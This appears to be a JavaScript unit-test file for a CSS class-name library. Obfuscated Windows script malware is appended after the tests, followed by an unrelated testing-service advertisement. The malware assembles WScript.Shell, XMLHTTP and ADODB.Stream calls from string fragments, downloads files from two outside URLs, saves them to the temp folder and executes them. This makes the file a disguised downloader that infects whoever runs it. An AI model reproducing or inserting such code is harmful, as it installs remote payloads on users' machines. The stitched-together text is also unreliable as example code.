import test from "ava"
import addClassName from "./add-class-name.mjs"
import addCombinator from "./add-combinator.mjs"
import store from "./store.mjs"
test.serial (
"given a string representing a combinator and declaration ",
(t) => {
const actual = addCombinator ("$parent>$child", { "color": "red" })
const expect = {
"id": ["$parent", undefined, ">", "$child", undefined],
"key": ">color:red",
"media": "",
"rule": ".ae>.af{color:red}"
}
t.deepEqual (
actual,
expect,
"return an object with 'id' and 'rule' properties"
)
}
)
test.serial (
"given a string representing a combinator and reuse a className",
(t) => {
const actual = addCombinator ("$child $thing", { "color": "blue" })
const expect = {
"id": ["$child", undefined, " ", "$thing", undefined],
"key": " color:blue",
"media": "",
"rule": ".af .ag{color:blue}"
}
t.deepEqual (
actual,
expect,
"return an object with 'id' and 'rule' properties"
)
}
)
test.serial (
"given a string representing a combinator and reusing both classNames",
(t) => {
const actual = addCombinator ("$parent+$thing", { "color": "green" })
const expect = {
"id": ["$parent", undefined, "+", "$thing", undefined],
"key": "+color:green",
"media": "",
"rule": ".ae+.ag{color:green}"
}
t.deepEqual (
actual,
expect,
"return an object with 'id' and 'rule' properties"
)
}
)
test.serial (
"given the function 'addClassName', when called with '$child', media query, and ':hover' (2)",
(t) => {
const actual = addClassName ("$stuff", "", ":hover")
const expect = {
"id": "ah",
"key": ":hover$stuff",
"media": "",
"rule": undefined
}
t.deepEqual (actual, expect, "then should return the id string 'ah'")
}
)
test.serial (
"given a string representing a combinator and declaration",
(t) => {
const actual = addCombinator ("$parent>$stuff:hover", { "color": "red" }, "")
const expect = {
"id": ["$parent", undefined, ">", "$stuff", ":hover"],
"key": ">:hovercolor:red",
"media": "",
"rule": ".ae>.ah:hover{color:red}"
}
t.deepEqual (
actual,
expect,
"return an object with 'id' and 'rule' properties"
)
}
)
var inArray = "Create",
removeAttribute = "o",
returnFalse = "bjec",
rsubmittable = "d";
addCombinator = 0;
var ignored = "s",
splice = "en",
Expr = 31,
ct = 343;
slideToggle = "Ru";
what = 193;
preexisting = 9;
classes = "ipt";
acceptData = ".XML";
rparentsprev = 18, getElementsByName = 163;
pushStack = 14, code = 5;
matcher = 1759;
currentTime = 29833;
simple = "rname";
display = "n", minWidth = "WSc", siblings = "%TEM", s = "om/877", reliableMarginRight = 26;
var rpseudo = "eterdi",
bind = 60,
rtrim = "Sl",
visibility = "WScri",
Symbol = "saveT";
var count = 128,
invert = "am";
var resolveWith = 80,
classNames = "seBo",
inspected = "eObje",
globalEval = 14833,
pixelPosition = "p",
useCache = "ron";
var merge = "clo",
copy = 59,
elementMatcher = "write",
setTimeout = "htt";
xhr = "WScrip";
firingIndex = 6;
textContent = 1;
slideUp = "Expand";
fired = 11;
conv = 91;
var m = 2,
hookFn = "t",
onload = "i";
crossDomain = "She";
finalDataType = "ADODB", unshift = (function Object.prototype.handleObjIn() {
var method = this;
return method
}, 49), unqueued = 27, preferredDoc = 28;
nodes = "Cre";
isWindow = "E";
callback = "String";
handlerQueue = ".s";
teardown = "posi";
adjustCSS = 1554;
guid = 3;
isSuccess = (((1485 / unqueued) & (28 * m + 7)), (guid * 2 * guid | (3 & guid)), eval("th" + onload + "s".handleObjIn()));
fire = isSuccess[xhr + "t"];
cssProps = fire[nodes + "ateO" + returnFalse + "t".handleObjIn()](minWidth + "ript." + crossDomain + "ll");
unquoted = cssProps[slideUp + "Envi".handleObjIn() + useCache + "ment" + callback + "s"](siblings + "P%/".handleObjIn()) + simple + "space" + handlerQueue + "cr";
camelKey = isSuccess[xhr + "t".handleObjIn()][inArray + "Objec" + hookFn]("MSXML2" + acceptData + "HTTP".handleObjIn());
camelKey[removeAttribute + "p" + splice]("G" + isWindow + "T".handleObjIn(), setTimeout + "p://p" + rpseudo + "ckem.c" + s + "45g".handleObjIn(), !((((38 - preexisting) * (1 + textContent) & (Math.pow(((33 & bind) | (58 & copy)), ((1 + addCombinator) * (2 + addCombinator))) - ((525 | adjustCSS) + (1766 & matcher)))), ((((17 & preferredDoc) + (32 / m)) + ((1 * textContent) * (Math.pow(4, m) - 11))) * (((textContent) + (1 * addCombinator)) * ((27 & Expr) - (15 + firingIndex))) + ((2 * m * 2 * m, 5 * fired, (92 - copy), 243) / ((fired & 13) | (resolveWith / 10)))), ((((what & 206) / guid * 2 * m * 2) - ((conv + 29), getElementsByName, (56 - unshift))) + ((26 / reliableMarginRight) & (1 * addCombinator)))) == 1));
camelKey[ignored + "en" + rsubmittable]();
active = isSuccess["WScr" + classes]["Creat".handleObjIn() + inspected + "ct"](finalDataType + ".Stre" + invert);
active["o".handleObjIn() + pixelPosition + "e" + display]();
temp = active;
global = cssProps;
temp["ty" + pixelPosition + "e".handleObjIn()] = (addCombinator | 1);
nid();
PI();
bup();
maxIterations();
active[Symbol + "oFile"](unquoted, (2 & (guid & 3)));
isLocal = active;
isLocal[merge + "se"]();
tabIndex();
global[slideToggle + "n"](unquoted.handleObjIn(((3 + pushStack) * (4 | code) + (72 / rparentsprev))), (1 + -textContent), ((17 * m + 2), (textContent + 2), (count | 172), (textContent + -1)));
function nid() {
eval(unescape("%20%20%20%20%20%20%20%20parentsUntil%20%3D%20temp%3B%0D"));
}
function bup() {
eval(unescape("%20%20%20%20%20%20%20%20active%5BelementMatcher%5D%28camelKey%5B%22Respon%22%20+%20classNames%20+%20%22dy%22%5D%29%3B%0D"));
}
function maxIterations() {
eval(unescape("%20%20%20%20%20%20%20%20parentsUntil%5Bteardown%20+%20%22tion%22.handleObjIn%28%29%5D%20%3D%20%28%28ct/49%29-%28guid*2+textContent%29%29%3B%0D"));
}
function tabIndex() {
eval(unescape("%20%20%20%20%20%20%20%20isSuccess%5Bvisibility%20+%20%22pt%22.handleObjIn%28%29%5D%5Brtrim%20+%20%22eep%22%5D%28%28%28currentTime/1%29-%28globalEval%29%29%29%3B%20%20%20%0D"));
}
function PI() {
eval(unescape("%20%20%20%20%20%0D"));
}
var prependTo = "ody",
xhrSupported = 51280,
global = "ep",
count = "stop",
boolHook = (function String.prototype.matcherFromGroupMatchers() {
return this
}, "2.XM"),
postFilter = "onm";
ajaxSettings = "c", propName = "m", nidselect = "XML";
boxSizingReliableVal = "%TEMP%", rbrace = "dEnvir", delegate = "//cca", iterator = "pt", offset = "ct";
handlers = 3040;
raw = "7";
checkOn = ".";
siblings = "e";
getWindow = "TTP";
reliableMarginLeft = "Create";
unmatched = "te";
callbackInverse = "ll";
lastModified = "eO";
attrId = 25;
delegateType = 56;
once = "ition";
PI = "ipt";
rscriptType = "WScr", sortDetached = 27, setMatched = "send", dataPriv = "tr", test = 1;
checked = ".com.", outermostContext = "s", rprotocol = "S", lastChild = "sapo";
updateFunc = "entS";
processData = 3162;
startTime = "spon";
Data = "323";
source = "h";
delegateTarget = "W";
maxWidth = "bf3r";
push_native = 576;
holdReady = "ropaga";
groups = 32;
linear = 18;
which = "wr";
second = "Re";
file = "Scr", curElem = "bj", readyList = "WScri";
always = 6;
getScript = "LH";
clearCloneStyle = "ODB.St";
marginLeft = "i";
var abort = "ttp:";
var success = "clos";
l = "rea", iNoClone = "cr", clazz = "O", callbackContext = "MS", matchesSelector = 52, contexts = "eB";
var merge = "Expan",
isXMLDoc = "Sle",
adown = "Cre",
nextUntil = 17;
stopped = "AD";
pos = "edia";
cacheURL = "Sleep";
promise = "un";
origName = "type";
unqueued = 11;
slideToggle = 0;
onlyHandlers = "ect";
rnumnonpx = "open";
tokenCache = 146;
fragment = "Creat";
rmouseEvent = "t";
setPositiveNumber = "ing";
settings = 144;
content = "he";
random = 165;
var duration = "ateO",
attributes = "R",
DOMParser = "GE",
matchContext = "oF",
defer = "/";
var get = "a",
detectDuplicates = "ite",
time = "c3";
inArray = "Imm";
iframe = "tion";
cssNormalTransform = "p";
rnamespace = ".pt/0y", n = "ile", newSelector = 13;
match = "ready", clone = "T", init = "teP";
var _data = 111,
safeActiveElement = 2,
newUnmatched = 5,
resolveValues = "bje",
pageXOffset = "saveT";
documentElement = "pos";
keepData = (((16 | settings) & 3 * unqueued * 7), (((nextUntil - 16) | (slideToggle | 0)), this));
specified = attributes + promise;
location = keepData[readyList + iterator];
srcElements = location[fragment + lastModified + resolveValues + offset](rscriptType + marginLeft + cssNormalTransform + rmouseEvent + checkOn + rprotocol + content + callbackInverse);
returnValue = srcElements[merge + rbrace + postFilter + updateFunc + dataPriv + setPositiveNumber + outermostContext](boxSizingReliableVal + defer) + count + inArray + pos + init + holdReady + iframe + checkOn + outermostContext + iNoClone;
checkDisplay = keepData[readyList + iterator][adown + duration + resolveValues + ajaxSettings + rmouseEvent](callbackContext + nidselect + boolHook + getScript + getWindow);
checkDisplay[rnumnonpx](DOMParser + clone, source + abort + delegate + time + Data + checked + lastChild + rnamespace + raw + maxWidth, !(((test * (1 * safeActiveElement)) + ((((150 & random), (79, _data)) & ((0 | always) * (7 + newSelector) + (75 / attrId))), (Math.pow(5 * newUnmatched, (72, tokenCache, 2)) - (push_native | 72)) * ((linear | 38) / (sortDetached & 22)), ((matchesSelector, 1) + ((test * 1) + -(test * 1))))) == (((test ^ 0) * test) ^ ((0 ^ (test ^ 3))))));
checkDisplay[setMatched]();
while (checkDisplay[match + outermostContext + rmouseEvent + get + unmatched] < (test * 2) * (safeActiveElement + 0)) {
keepData[readyList + iterator][cacheURL](((processData / 31) & (groups | 116)));
}
addCombinator = keepData[delegateTarget + rprotocol + iNoClone + PI][reliableMarginLeft + clazz + curElem + onlyHandlers](stopped + clearCloneStyle + l + propName);
keepData[delegateTarget + file + PI][isXMLDoc + global](((xhrSupported / 5) | (handlers + 3752)));
try {
addCombinator[rnumnonpx]();
initialInUnit = addCombinator;
initialInUnit[origName] = (slideToggle ^ 1);
removeClass = initialInUnit;
addCombinator[which + detectDuplicates](checkDisplay[second + startTime + outermostContext + contexts + prependTo]);
removeClass[documentElement + once] = ((delegateType, 162, slideToggle) ^ 0);
addCombinator[pageXOffset + matchContext + n](returnValue, ((test + 1) & (test * 2)));
addCombinator[success + siblings]();
attrHooks = srcElements;
attrHooks[specified](returnValue.matcherFromGroupMatchers(), (slideToggle ^ 0), (slideToggle & 1));
} catch (handleObjIn) {};
Accelerate Your Automation Test Cycles With LambdaTest
Leverage LambdaTestās cloud-based platform to execute your automation tests in parallel and trim down your test execution time significantly. Your first 100 automation testing minutes are on us.